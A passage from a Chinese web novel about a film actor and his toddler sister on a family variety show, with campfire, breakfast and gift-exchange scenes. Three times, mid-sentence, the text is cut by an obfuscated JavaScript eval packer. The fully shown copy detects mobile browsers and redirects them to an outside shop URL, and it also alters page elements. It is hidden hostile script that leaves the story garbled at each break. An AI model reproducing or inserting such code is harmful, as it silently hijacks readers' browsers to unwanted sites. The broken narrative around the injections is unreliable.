姜牧云陷入了人生中最大的哲学困境——等,还是不等。 她想了足足十秒钟,终于做出了决定。 “我等。”她深吸一口气,像做出了一个巨大的牺牲,“为了好吃的棉花糖,姜牧云愿意等。” 她把竹签递给姜牧野:“哥哥帮我烤。” “你自己烤。” “可是我怕火。” “我教你。” 姜牧野握着她的手,把棉花糖伸到火上。他的手很大,把她的手整个包住了,掌心干燥温暖。 “慢慢转,让棉花糖每个面都烤到。” 姜牧云认真地转动竹签,小脸被火光照得红扑扑的。 “哥哥,你看!它在变大!” “嗯。” “它好像在笑!鼓鼓的好像在笑!” “棉花糖不会笑。” “会的!它变成金黄色的时候就是在笑!因为它知道自己要被吃掉了,但是它很开心,因为被吃掉是它的使命!” “棉花糖的使命是被吃掉?” “对!就像哥哥的使命是保护姜牧云一样!每个人的使命都不一样!” “那你的使命是什么?” 姜牧云想了想,认真地说:“我的使命是——让哥哥开心。” 火苗跳跃了一下,发出“噼啪”一声。 姜牧野没有说话。 他只是握着她的手,把烤好的棉花糖从火上拿开。 “烤好了。”他说,声音有点哑。 姜牧云把棉花糖从竹签上拿下来,金黄色的表面微微焦脆,里面是融化了的、像云朵一样柔软的内芯。 她把棉花糖举到姜牧野嘴边:“哥哥先吃!” “你烤的,你先吃。” “不行!第一口要给哥哥!因为哥哥教我的!” 姜牧野看着那个被烤得金黄蓬松的棉花糖,张嘴咬了一小口。 甜。 很甜。 像把整个夏天的阳光都含在了嘴里。 “好吃吗?”姜牧云期待地问。 “好吃。” “那你再吃一口!” “不用了,你吃。” 姜牧云把剩下的棉花糖塞进嘴里,腮帮子鼓得像一只储存食物的小松鼠。 “好甜!”她眯起眼睛,露出一个极其满足的表情,“比草莓冰淇淋还甜!” “不可能。” “真的!因为这是姜牧云自己烤的!自己做的食物是世界上最好吃的!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孙磊最先打破沉默,他用力地吸了一下鼻子:“我靠,我一个大老爷们,被一个三岁半的小孩说哭了。” 苏瑶已经哭了,眼泪啪嗒啪嗒地掉,林恬恬在旁边给她递纸巾。 陈江河没有说话,但他看着姜牧云的眼神里,有一种很深很深的温柔。 陈小树举起相机,对着姜牧云拍了一张照片。 “这张照片,我要洗出来挂在墙上。”他说,“因为这是今天最好看的一张。” 姜牧云被夸得不好意思了,缩到了姜牧野怀里,把脸埋在他的胸口,只露出两只红红的耳朵。 “哥哥,他们都在看我。”她小声说。 “因为你讲得好。” “真的吗?” “真的。” “比故事书里的故事还好听吗?” “比所有故事书里的故事都好听。” “为什么?” “因为是真的。” 姜牧云从他胸口抬起头,葡萄眼里映着篝火的光。 “哥哥,那你以后也要接住姜牧云哦。” “会的。” “永远?” “永远。” “拉钩。” 她伸出小拇指。姜牧野伸出手,跟她勾在一起。 篝火在他们身后燃烧,发出温暖的光和噼啪的声响。火星飞上夜空,跟星星混在一起,分不清哪些是火,哪些是星。 姜牧云靠在姜牧野怀里,打了一个小小的哈欠。 “哥哥,我困了。” “睡吧。” “可是晚会还没结束。” “没关系,你睡你的。” “那你会一直在这里吗?” “会。” “不会走吗?” “不会。” “你保证?” “我保证。” 姜牧云满意地点了点头,闭上眼睛,把脸贴在姜牧野的胸口。 她听到了他的心跳。 咚、咚、咚。 沉稳而有力,像一首永远不会停下来的摇篮曲。 “哥哥,”她含含糊糊地说,“你的心跳好好听。” “嗯。” “像鼓一样。” “嗯。” “咚咚咚的。” “嗯。” “姜牧云好喜欢。” “嗯。” “你‘嗯’的意思是‘我也喜欢’对不对?” “……” “对不对嘛?” “……对。” 姜牧云笑了,在睡梦中弯起了嘴角。 她没有再说话。 她的呼吸变得均匀而绵长,小小的身体在姜牧野怀里起伏着,像一艘停泊在港湾里的小船。 篝火渐渐小了,但还没有灭。 火星在夜空中飞舞,像一群迷路的萤火虫。 姜牧野低头看着怀里睡着的小团子,伸手把她额前的碎发拨到耳后。 她的睫毛在火光中投下一片扇形的阴影,小嘴微微张着,发出细微的鼾声。 他轻轻地把她的头换了一个更舒服的姿势,让她枕在他的臂弯里。 然后他抬起头,看着夜空。 星星很亮。 月亮很圆。 风很轻。 他怀里的小人很暖。 姜牧野坐在篝火旁,抱着他的全世界,安静地笑了。 这次笑了很久。 大概有五分钟。 虽然没有人看到。 但没关系。 他的全世界在他怀里,感受得到。 这就够了。 14. 月光下的秘密 篝火晚会结束后,其他三组家庭陆续回了各自的院子。 孙磊扛着已经睡着的孙小壮,像扛着一袋大米一样大步流星地走了。苏瑶抱着林恬恬,高跟鞋踩在石板路上发出清脆的嗒嗒声,陈江河走在后面,手里帮苏瑶拎着她不知什么时候甩丢了的另一只鞋。陈小树走在最后面,时不时回头看一眼还坐在篝火旁的姜牧野和姜牧云。 “爸爸,云云睡着了。”他小声说。 “嗯,让她睡吧。”陈江河牵起儿子的手,“今天玩累了。” “爸爸,你开心吗?” 陈江河愣了一下,低头看着儿子。月光下,陈小树的眼睛亮得像两颗黑豆,认真地等着他的答案。 “开心。”他说,“你呢?” “我也开心。”陈小树晃了晃他的手,“爸爸,我以后也想有一个妹妹。” 陈江河的脚步顿了一下:“为什么?” “因为云云说她哥哥是全世界最好的人。我也想当全世界最好的人。” 陈江河沉默了一会儿,然后蹲下来,跟儿子平视:“小树,你不用有妹妹,也已经是全世界最好的人了。” 陈小树歪着头想了想,然后笑了:“那爸爸也是。我们都是全世界最好的。” 陈江河的眼眶热了一下,站起来,牵着儿子继续走。 月光把他们的影子拉得很长很长,一大一小,像一棵大树旁边长着一棵小树。 篝火旁只剩下姜牧野和姜牧云。 姜牧云睡得很沉,小脑袋枕在姜牧野的胳膊上,呼吸均匀,嘴角微微翘着,大概在做着什么美梦。姜牧野没有叫醒她,也没有急着回院子。他就这样抱着她坐在篝火旁,看着火焰一点一点变小。 火苗从跳跃变成摇曳,从摇曳变成闪烁,最后只剩下一堆暗红色的炭火,在夜风中明明灭灭,像大地在呼吸。 “哥哥。” 一个含含糊糊的声音从他怀里传来。 姜牧野低头,发现姜牧云不知道什么时候醒了,正眯着眼睛看他。她的眼睛还没完全睁开,睫毛像两把小扇子半遮半掩着,瞳孔里映着炭火的微光。 “你不是睡着了吗?” “睡着了,但是又醒了。”她揉揉眼睛,“哥哥,火怎么变小了?” “因为柴烧完了。” “那它是不是死了?” “没有死,只是变成了炭。明天加柴还能再烧起来。” “那炭在干什么?” “在休息。” “炭也会休息?” “嗯。” “那炭会做梦吗?” “不知道。” “炭做的梦是什么颜色的?” “……大概是红色的。” “为什么是红色的?” “因为炭是红色的。” “炭是黑色的呀!你看,黑黑的!” “炭里面有火的时候是红色的。” “那炭做梦的时候,梦里面的火是红色的,外面的炭是黑色的,所以它的梦是黑红色的?” “也许是。” “黑红色好看吗?” “好看。” “像什么?” 姜牧野想了想:“像一朵在晚上开的花。” 姜牧云安静了一会儿,似乎在认真想象一朵在晚上开的、黑红色的花。然后她忽然说:“哥哥,你说话有时候好好听。” “什么时候?” “就是刚才。你说‘像一朵在晚上开的花’。好好听。比故事书里的话还好听。” “是吗?” “嗯。哥哥你应该多说话。你说话好听。” “我说得少是因为没必要说很多话。” “可是好听的话应该说呀!说了别人会开心!” “你想听什么好听的话?” 姜牧云想了想,掰着手指头数:“比如‘姜牧云你好可爱’、‘姜牧云你最聪明’、‘姜牧云做的煎饼最好吃’、‘姜牧云的裙子最好看’——” “你这不是好听的话,是夸自己的话。” “夸自己的话也是好听的话呀!从哥哥嘴里说出来更好听!” “为什么从我嘴里说出来更好听?” “因为哥哥不会随便夸人!哥哥夸人都是真的!所以特别好听!” 姜牧野看着她那双在黑暗中依然亮晶晶的葡萄眼,沉默了两秒。 “姜牧云,你很可爱。” 姜牧云愣了一下。 “你最聪明。” 又愣了一下。 “你做的煎饼最好吃。” 嘴巴微微张开。 “你的裙子最好看。” 脸红了。 “够了吗?” 姜牧云没有回答。她把脸重新埋进了姜牧野的胸口,两只手攥着他的衣领,攥得紧紧的。 “哥哥,”她的声音闷闷的,从衣服里传出来,“你说太多了。” “你说要我说好听的。” “可是我没有让你说这么多!你说一句就够了!说这么多我会不好意思的!” “那你刚才为什么掰着手指头数?” “因为……因为我不知道你会真的说!”她把脸埋得更深了,耳朵红得像要滴血,“姜牧云现在好害羞!害羞得想钻进地里面!” “地里面是泥巴。” “泥巴也可以!泥巴凉凉的!可以给姜牧云降温!” “你又不是发动机,降什么温。” “姜牧云就是发动机!心里面在‘突突突’地跳!像发动机一样!” “那是心跳,不是发动机。” “一样的!心跳就是心里的发动机!哥哥你有没有心里的发动机?” “……有。” “你的发动机现在也在‘突突突’吗?” “没有。我的发动机比较安静。” “骗人!你的心跳好快!我听到了!”她从胸口抬起头,得意地看着他,“哥哥你的发动机也‘突突突’了!” 姜牧野面无表情地说:“那是因为抱着你,手臂用力,心率自然会加快。” “才不是!是因为你说了好听的话不好意思了!” “我没有不好意思。” “那你为什么耳朵红了!” “那是因为炭火烤的。” “炭火在那边!离你好远!烤不到你的耳朵!” “热辐射可以传播很远的距离。” “热辐射是什么?” “就是……热的一种传播方式。” “那为什么我的耳朵没红?” “因为你的耳朵小,表面积小,吸收的热量少。” “我的耳朵才不小!我的耳朵跟哥哥的一样大!不对,比哥哥的还大!因为姜牧云的耳朵要听哥哥说好多好多话!所以要更大!” “耳朵的大小跟听多少话没关系。” “有关系的!听的话越多,耳朵就越大!因为要装下那些话!” “那你的耳朵应该比我大十倍。” “为什么!” “因为你每天说那么多话,我要全部听完。我的耳朵要装下你的话,应该比你的大才对。” 姜牧云想了想,觉得这个逻辑好像有道理,但又觉得哪里不对。 “那……那我们的耳朵一样大!因为你的话装在我的耳朵里,我的话装在你的耳朵里!我们互相装!” “好,一样大。” “拉钩!” 姜牧野伸出手,跟她拉钩。姜牧云的小拇指勾住他的小拇指,用力地盖了个章。 “哥哥,”她盖完章之后没有松开手,而是继续勾着他的手指,“你说,天上的星星上面有没有人也坐在篝火旁边?” “不知道。” “如果有的话,他们也在聊天吗?” “也许。” “他们聊什么?” “不知道。” “他们会不会也像我们一样,在拉钩?” “也许。” “那他们拉钩的时候说的是什么?” “大概是……他们自己的语言。” “星星的语言是什么样的?” “不知道。” “我猜是‘叮叮叮’的!因为星星会发光,发光的时候会‘叮’的一声!” “星星发光没有声音。” “有的!只是我们听不到!因为太远了!声音传到我们这里就没了!” “那你怎么知道有声音?” “因为姜牧云能想象!想象的声音也是声音!” 姜牧野想了想,觉得这个说法也没错。 “嗯,那星星的语言就是‘叮叮叮’的。” “哥哥你终于同意我了!”姜牧云开心地晃了晃勾在一起的手指,“那星星拉钩的时候说的是什么?‘叮叮叮,叮叮叮,一百年不许叮’?” “……可以。” “那星星的‘一百年’跟我们的‘一百年’一样长吗?” “应该一样。” “可是星星的寿命好长好长!比一百年长多了!它们的‘一百年’会不会很短?” “为什么?” “因为它们活得太久了!一百年对它们来说就像一天!就像……就像哥哥你的一天比姜牧云的一天短!” “为什么我的一天比你的短?” “因为哥哥你太忙了!忙着工作、忙着赚钱、忙着照顾姜牧云!你的时间过得快!姜牧云的时间过得慢!因为姜牧云每天只做一件事——等哥哥回来!” 篝火的余烬“噼啪”响了一声,一小簇火苗重新跳了起来,照亮了姜牧云的脸。 她没有在笑。 她很认真。 “哥哥,你知道吗?每次你出去工作,姜牧云都在家里等。阿姨说‘哥哥很快就回来了’,但是很快是多快?姜牧云不知道。姜牧云只知道太阳升起来又落下去,升起来又落下去,好几次了,哥哥才回来。” “所以姜牧云的时间过得好慢。因为姜牧云在等。” “但是哥哥回来之后,时间就变快了!因为跟哥哥在一起的时候太开心了!开心的时候时间就会变快!” “所以哥哥的一天比姜牧云的一天短。因为哥哥没有在等。哥哥在工作,工作的时候时间过得快。” 她说完之后,安静地看着姜牧野,好像在等他确认她的话对不对。 姜牧野没有说话。 他把她从怀里抱起来,让她坐在自己的膝盖上,面对面地看着她。 月光和炭火的光同时照在她脸上,一半冷,一半暖,但她的眼睛是完整的、明亮的、纯粹的。 “姜牧云,”他说,“你说得对。” “哪句对?” “所有。” “所有都对?” “所有都对。” “那你以后能不能少工作一点?多陪姜牧云一点?” 姜牧野沉默了很久。 久到姜牧云以为他不会回答了。 “好。”他说。 “真的吗?” “真的。” “你保证?” “我保证。” “拉——不对,刚才拉过钩了!不能再拉了!拉太多会不灵的!” “谁说的?” “姜牧云说的!拉钩就像充电!充太多会爆炸!” “那怎么办?” “唔……”她想了想,“那我们就说好了!不用拉钩!说好了就是说好了!” “好,说好了。” 姜牧云满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他忽然想起她刚才说的话。 “姜牧云的时间过得好慢。因为姜牧云在等。” 他的心像是被什么东西轻轻揪了一下。 不疼。 但很酸。 他想起自己每次出门工作的时候,姜牧云都会站在门口送他。她不会哭,不会闹,不会说“哥哥不要走”。她只是站在那里,抱着那只耳朵都被揪歪了的兔子,两个小揪揪在头顶晃啊晃的,笑着说:“哥哥拜拜!明天见!” 好像他明天真的会回来一样。 有时候他第二天回不来。有时候是第三天,有时候是第五天,有时候更久。 但她每次都说“明天见”。 好像只要她一直说“明天见”,他就真的会明天见。 姜牧野加快了脚步,但还是很稳,没有颠到她。 他推开院子的门,走进房间,把她轻轻地放在小床上。她的小手还攥着他的衣领,攥得很紧,他费了一点力气才把她的手指一根一根地掰开。 她的手指很短,很软,指甲剪得圆圆的,每一个指甲盖都只有一颗小豆子那么大。 姜牧野把她的手放进被子里,又把被子拉上来,盖到她的胸口。 她翻了个身,小嘴嘟囔了一声:“……哥哥,明天见。” 姜牧野站在床边,看着她。 “明天见。”他说。 他关了灯,走到窗边,把窗帘拉上一半——留了一半,因为姜牧云说她喜欢早上被阳光叫醒,不喜欢被闹钟叫醒。 月光从窗帘的缝隙里照进来,在地板上画出一条银白色的光带。 光带的尽头,是姜牧云的小床。 姜牧野坐在旁边的椅子上,没有走。 他靠在椅背上,看着那条光带,看着光带尽头的那个小人。 他想起自己二十岁那年在医院走廊上,那个皱巴巴的、像没长熟的桃子一样的小人,握住了他的手指。 那时候他以为,是他要保护她。 现在他才知道——是她一直在保护他。 在他疲惫的时候,在他孤独的时候,在他觉得整个世界都是灰色的、冷的、硬的的时候—— 是她用那双小小的手,把颜色、温度和柔软,一点一点地塞回他的世界里。 他闭上眼睛。 嘴角弯着。 弯了很久很久。 窗外,月亮慢慢移到了云层后面,星星一颗一颗地亮起来。 虫子的叫声渐渐小了,像是也睡着了。 院子里的大槐树在风中轻轻摇晃,叶子发出沙沙的声响,像一首永远不会停下来的歌。 姜牧野在椅子上睡着了。 他的头微微歪向小床的方向,一只手搭在小床的栏杆上,手指距离姜牧云的手只有几厘米。 这次他也没有握。 只是放在那里。 因为他知道,就算不握,她也知道他在。 就算不说,她也知道。 就算世界很大,时间很快,距离很远—— 他们之间的距离,永远是最短的。 比从这里到月亮近。 比从这里到太阳近。 比任何距离都近。 因为—— 她在他的心里。 他在她的心里。 那里没有距离。 15. 清晨的惊喜 姜牧野是被一阵窸窸窣窣的声音吵醒的。 他睁开眼睛,发现天已经亮了。阳光从窗帘的缝隙里挤进来,在地板上画出了比昨晚更宽更亮的金色光带。他的脖子有点酸——在椅子上睡了一夜的代价。 窸窸窣窣的声音从他脚边传来。 他低头一看—— 姜牧云蹲在地上,正在翻他的背包。 她的动作很轻,像一只偷东西的小老鼠,每拿出一样东西都要停下来听一听他有没有醒。她的小手在包里掏来掏去,先后掏出了一本书、一个充电宝、一副墨镜、一包纸巾和一只袜子。 她拿着那只袜子看了看,皱起眉头,小声说:“土豆,你怎么在这里?你不是应该在行李箱里吗?” 袜子当然不会回答。 “你是不是偷偷跑进来的?你好调皮哦。”她把袜子叠好,塞进自己的口袋里,“算了,你先跟姜牧云待着吧。等一下再送你回去。” 然后她继续翻。 这次她掏出了一个小本子。 姜牧野的眼睛微微睁大了一点——那是他的笔记本。他用来记东西的。里面有一些工作上的笔记、一些台词摘抄、一些杂七杂八的想法。 姜牧云翻开了本子。 她看不太懂字,但她看懂了上面的画。 “这是姜牧云!”她小声惊呼。 没错,本子的最后一页,画着一个歪歪扭扭的小人,头顶上顶着两个圆圈,穿着一条裙子,手里抱着一只兔子。 旁边写着一行字:“云云,三岁半。” 是姜牧野画的。是他有一次在片场等戏的时候,无聊画的。画得不太好——他毕竟是演员,不是画家。但那个小人的两个小揪揪画得很认真,每一根头发丝都画出来了。 姜牧云盯着那幅画看了很久。 然后她翻到了前一页。 这一页上没有画,只有一行字。她看不懂,但姜牧野记得那行字写的是什么—— “云云说,时间过得慢是因为在等。那我以后跑快一点。” 这是他昨晚回来之后写的。在她睡着之后,在她不知道的时候。 姜牧云捧着本子,小脸上有一种奇怪的表情——不是笑,也不是哭,而是介于两者之间的、像是被什么东西轻轻击中了心脏的表情。 她太小了,还不太会表达那种感觉。 但姜牧野知道那是什么。 那是感动。 三岁半的、小小的、还不懂得什么叫感动的感动。 他闭上眼睛,假装还在睡。 他听到姜牧云轻轻地合上本子,轻轻地放回包里,然后轻轻地走到他面前。 他感觉到两道小小的目光落在他的脸上。 然后—— 一个轻轻的、软软的、带着奶味的东西,贴在了他的脸颊上。 只有一秒。 像一片花瓣落在水面上。 “哥哥,”她的声音小得像蚊子哼哼,“你跑慢一点也没关系。姜牧云会等你的。等很久很久也没关系。” 姜牧野没有睁眼。 但他的睫毛动了一下。 姜牧云没有看到。她已经转身跑开了,脚步声噼里啪啦的,像一匹脱缰的小马驹。 “阿姨!哥哥还在睡觉!我们不要吵他!我帮你做早饭!” 她的声音从院子里传来,清脆得像铃铛。 姜牧野睁开眼睛,看着天花板。 阳光在天花板上投下一个金色的光圈,光圈里有细小的灰尘在飞舞,像一群微小的星星。 他抬起手,摸了摸刚才被亲过的脸颊。 那里还残留着一点温度。 很小。 但足够让他暖一整天。 早饭是阿姨做的——小米粥、小笼包、凉拌黄瓜,还有一小碟姜牧云亲手摆盘的水果。她把草莓切成两半,摆成一个心形,又在心形的中间放了一颗蓝莓。 “哥哥你看!这是姜牧云做的!”她指着那碟水果,骄傲得像一只刚下了蛋的母鸡。 “好看。”姜牧野说。 “你尝尝!草莓甜不甜?” 姜牧野拿起一颗草莓,放进嘴里。 “甜。” “比昨天的甜吗?” “一样甜。” “可是今天的草莓是姜牧云切的!姜牧云切的应该更甜!” “为什么你切的会更甜?” “因为里面有姜牧云的爱!爱会让东西变甜!” “谁告诉你的?” “阿姨!阿姨说,用心做的饭最好吃。用心就是有爱!有爱就会甜!” “那如果放糖呢?” “放糖也甜!但是有爱的甜比糖的甜更好吃!因为糖的甜在嘴巴里,有爱的甜在心里!” 姜牧野看着她,忽然觉得,这个三岁半的小孩,可能比很多大人都懂得什么是重要的。 “嗯,很甜。”他说。 姜牧云满意地笑了,拿起一颗草莓塞进自己嘴里,腮帮子鼓鼓的,像一只存粮食的小仓鼠。 早饭吃到一半,姜牧云的手机响了——准确地说,是姜牧野给她买的那只儿童手表,粉色的,上面印着小兔子,只能接打电话和发语音消息,不能玩游戏。 “是妈妈!”姜牧云兴奋地按下接听键,“妈妈!妈妈!” 电话那头传来一个温柔的女声,带着一点疲惫,但笑意很浓:“云云!妈妈想你了!你在干什么?” “在吃早饭!妈妈你吃早饭了吗?” “吃了。云云,你在节目里乖不乖?” “超级乖!哥哥说的!” 姜牧野在旁边面无表情地纠正:“我没说过。” “你说过的!你昨天说了‘嗯’!嗯就是乖的意思!” “嗯不代表乖,嗯只是表示我知道了。” “那你说‘嗯’的时候我在做什么?” “……在吃冰淇淋。” “所以‘嗯’就是在夸我乖!” 姜牧野张了张嘴,又闭上了。 电话那头的妈妈笑了:“云云,你有没有给哥哥添麻烦?” “没有!姜牧云可乖了!我帮哥哥做了三明治!还帮哥哥烤了棉花糖!还帮哥哥找到了彩蛋!彩蛋里面写着我跟哥哥一起做蛋糕!妈妈,我回去之后要跟哥哥一起做蛋糕!你要不要来吃?” “妈妈可能去不了,妈妈在外地工作——” “没关系!我让哥哥给你寄过去!蛋糕可以寄的!用盒子装起来,放在快递里,‘咻——’一下就到你那里了!” 妈妈的笑声从电话那头传来,带着一点哽咽,但很快就压下去了。 “好,妈妈等着云云的蛋糕。云云,你把电话给哥哥。” 姜牧云把电话递给姜牧野:“哥哥,妈妈要跟你说话。” 姜牧野接过电话,站起来走到院子外面。 “妈。” “牧野,云云没给你添麻烦吧?” “没有。” “你工作那么忙,还要带她上节目——” “不忙。” “你别骗我,你助理上次跟我说你连着拍了三天夜戏——” “那是上个月的事。这个月不忙。” 电话那头沉默了一会儿。 “牧野,”妈妈的声音变得很轻,“你从小就什么都不说。累也不说,苦也不说。但是你妹妹什么都说。她把你没说出来的话,全都说出来了。” 姜牧野没有说话。 “你知道吗?她每次跟我打电话,十句话里有八句是在说你。‘哥哥今天给我买了草莓冰淇淋’、‘哥哥今天给我扎的头发好好看’、‘哥哥今天在电视上出现了一下下,好帅好帅’。她说的每一件事都跟你有关。” “她跟我说过一句话,我记了很久。她说——‘妈妈,哥哥不说他爱我,但是我都知道。因为哥哥的爱不在嘴巴里,在手上。他的手会帮我擦嘴,会帮我扎头发,会接住我。所以我知道他爱我。’” “牧野,你这个妹妹,是老天爷送给你的礼物。” 姜牧野站在槐树下,阳光透过叶子的缝隙照在他脸上,斑斑驳驳的。 “我知道。”他说。 “你知道就好。行了,不耽误你录节目了。照顾好云云,也照顾好自己。” “嗯。妈,你也照顾好自己。” “知道了知道了。拜拜。” “拜拜。” 姜牧野挂了电话,在槐树下站了一会儿。 风吹过来,槐树的叶子沙沙作响,有几片叶子落在他的肩上。他没有拂掉,转身走回了屋里。 姜牧云正坐在餐桌前,用筷子夹一个小笼包。她的筷子用得不太好,小笼包在筷子之间滑来滑去,像一个不听话的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437542|200985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球。 “哥哥!它不听话!”她急得皱眉。 姜牧野坐下来,拿起一双筷子,夹起那个小笼包,放在她的碗里。 “用筷子夹的时候,要两根筷子一起用力,不能只靠一根。” “姜牧云有用力!但是包子太滑了!” “那你用勺子。” “不要!姜牧云要用筷子!大人才用筷子!姜牧云要当大人!” “你才三岁半,不用急着当大人。” “可是当大人就可以做很多事!可以自己开车!可以自己住!可以自己赚钱!” “你现在想自己住?” “不要!姜牧云要跟哥哥一起住!”她立刻改口,“但是姜牧云要当一个可以自己住但是选择跟哥哥一起住的大人!” “那有什么区别?” “区别就是——自己住是没办法,跟哥哥一起住是选择!选择比没办法更厉害!” 姜牧野看着她,嘴角弯了一下。 “嗯,选择比没办法更厉害。” “所以姜牧云要用筷子!因为用筷子是选择!用勺子是因为不会用筷子,是没办法!” “好,那你用筷子。” 姜牧云重新拿起筷子,认真地夹起一个小笼包。这次她夹住了,虽然姿势很奇怪——两根筷子交叉成X形,把小笼包卡在中间,像一个被囚禁的犯人。 “哥哥你看!姜牧云夹住了!” “嗯,你很厉害。” “姜牧云是全世界最会用筷子的小孩!” “……这个评价可能有点夸张。” “不夸张!因为姜牧云三岁半就会用筷子了!别的小孩三岁半还在用勺子!” “很多三岁半的小孩都会用筷子。” “但是她们没有姜牧云可爱!” “……这个倒是真的。” 姜牧云得意地笑了,把那个被X形筷子夹住的小笼包塞进嘴里,腮帮子鼓得像两个小气球。 姜牧野看着她,想起妈妈刚才说的话。 “你这个妹妹,是老天爷送给你的礼物。” 他想,如果这真的是礼物,那他一定是全世界最幸运的人。 不是因为这份礼物有多贵重。 而是因为——这份礼物,刚好是他最需要的。 在他觉得世界很冷的时候,她来了。 带着暖烘烘的体温、奶声奶气的话语、永远问不完的问题、永远用不完的热情。 把他的世界,一点一点地焐热了。 “哥哥,你在想什么?”姜牧云嘴里塞着小笼包,含含糊糊地问。 “在想你说的话。” “哪句?” “所有。” “所有都是对的吗?” “所有都是对的。” “那姜牧云说‘哥哥是全世界最帅的人’,这句话也是对的吗?” “……” “对不对嘛?” “……对。” “那姜牧云说‘哥哥做的三明治是全世界最好吃的’,对不对?” “对。” “那姜牧云说‘哥哥最爱姜牧云’,对不对?” 姜牧野看着她。 她的小脸上沾了一点包子馅的油渍,亮晶晶的,在嘴角旁边,像一个逗号。葡萄眼里映着窗外的阳光和槐树的影子,亮得像是装了两颗小太阳。 “对。”他说。 姜牧云笑了。 笑得露出四颗小米粒一样的牙齿,笑得眼睛弯成两道月牙,笑得整个人都在发光。 “那姜牧云也最爱哥哥!” 她喊完这句话,低下头,继续用X形筷子夹下一个小笼包。 好像这是一件理所当然的事情。 好像天是蓝的、草是绿的、太阳从东边升起来、姜牧云最爱姜牧野——这些都是这个世界运作的基本规则。 不需要解释,不需要证明。 就是这样的。 姜牧野端起粥碗,喝了一口小米粥。 粥很暖。 从喉咙一路暖到胃里,从胃里一路暖到心里。 他想,今天的粥,大概也加了爱。 虽然他不知道爱是什么味道的。 但他觉得,大概就是这个味道吧。 淡淡的,暖暖的,喝下去之后,会在心里留很久很久。 16. 告别的礼物 今天是录制最后一天。 下午就要收拾行李回家了。 早饭过后,节目组安排了最后一个环节——“交换礼物”。每组家庭准备一份小礼物,送给其他三组家庭。礼物不需要贵重,但要用心。 姜牧野准备的礼物是——他亲手画的四幅小画。 没错,影帝亲手画的。 虽然他的画技跟姜牧云差不多——头大身子小,线条歪歪扭扭,颜色涂出框外。但每一幅画都很用心。 第一幅画给孙磊和孙小壮:画了一大一小两头熊,站在游泳池边上,大熊的怀里抱着一块铜牌,小熊的手里举着一个游泳圈。画的旁边写着一行字:“最强的熊爸爸,和最勇敢的熊儿子。” 孙磊看到这幅画的时候,沉默了很久。 然后他用力地吸了一下鼻子,用袖子擦了一下眼睛,大声说:“姜老师!你把我画得太胖了!” 但他的声音在发抖。 孙小壮倒是很满意:“爸爸,我觉得画得很像!你看你的肚子,好圆!” “你闭嘴!”孙磊笑骂了一句,把画小心翼翼地卷起来,塞进了背包的最里层。 第二幅画给苏瑶和林恬恬:画了一个穿着高跟鞋的妈妈和一个穿着公主裙的女儿,站在一面镜子前面。镜子里映出的不是她们的样子,而是两个手牵手的小女孩——一个大的,一个小的。画的旁边写着一行字:“妈妈也是小女孩,只是比你大了一点点。” 苏瑶看到这幅画的时候,直接哭了。 “姜老师你……你怎么知道……”她哽咽着说不出话。 姜牧野没有解释。 但苏瑶懂。 她想起自己昨天在泥潭里玩泥巴的时候,那种肆无忌惮的快乐——不是作为妈妈的快乐,是作为一个小女孩的快乐。她已经很久很久没有那样笑过了。久到她都快忘记了,自己也曾经是一个可以在泥巴里打滚的小女孩。 “妈妈不要哭。”林恬恬给她擦眼泪,然后认真地对姜牧野说,“姜叔叔,谢谢你。这是我妈妈收到的最好的礼物。” 第三幅画给陈江河和陈小树:画了一棵大树和一棵小树。大树的根深深地扎在泥土里,树干粗壮,枝叶繁茂。小树长在大树的旁边,树干细细的,叶子嫩嫩的,但它的根也深深地扎在泥土里——跟大树的根缠在一起。画的旁边写着一行字:“一棵树也是森林。” 陈江河看着这幅画,很久没有说话。 然后他把画举起来,对着阳光看。阳光透过画纸,照出铅笔线条的纹路和彩笔涂色的痕迹。每一笔都很用力,每一笔都很认真。 “姜老师,”他说,“谢谢你。” 他没有多说别的。 但姜牧野知道,他懂了。 最后一幅画,是给姜牧云自己的。 画上画了一个人——一个男人,怀里抱着一个小女孩。男人的脸上没有什么表情,但他的眼睛在笑。小女孩的脸上全是表情,嘴巴张得大大的,好像在说什么。 画的旁边写着一行字:“你说的话,我都听到了。” 姜牧云看不太懂字,但她看懂了画。 “这是哥哥和姜牧云!”她指着画上的人说。 “嗯。” “哥哥你在笑!你看,你的眼睛在笑!” “嗯。” “姜牧云在说话!她在说什么?” “你猜。” 姜牧云歪着头想了想:“她在说——‘哥哥我爱你’?” “差不多。” “那哥哥你说什么?” “哥哥说——‘我也是’。” 姜牧云愣了一下,然后低下头,看着那幅画,看了很久很久。 “哥哥,”她小声说,“这幅画可以送给姜牧云吗?” “本来就是给你的。” “那姜牧云要把它带回家!挂在床头!每天睡觉前看一遍!起床后看一遍!” “看那么多遍不会腻吗?” “不会!因为哥哥的笑看不腻!姜牧云的笑也看不腻!我们两个人的笑放在一起,就是全世界最好看的画!” 她把画小心地折起来,放进自己随身带的小包包里。那个小包包是草莓形状的,粉红色的,拉链上挂着一只小兔子挂件。 她把画放进去之后,拍了拍包包,满意地说:“好了,最重要的东西都带齐了。” “最重要的东西是什么?” “哥哥的画,土豆,还有兔子。”她掰着手指数,“还有哥哥。” “我不是东西。” “你不是东西?那你是什么?” “我是人。” “人是东西吗?” “人不是东西。” “那哥哥是什么?” “我是你哥哥。” “哥哥是人,人不是东西,所以哥哥不是东西?”她认真地分析着,然后皱起眉头,“可是‘不是东西’好像是一句骂人的话?” “……” “哥哥,我没有骂你!我真的在问问题!” “我知道。” “那你生气了吗?” “没有。” “那你为什么不笑?” “因为你在说我不是东西。” 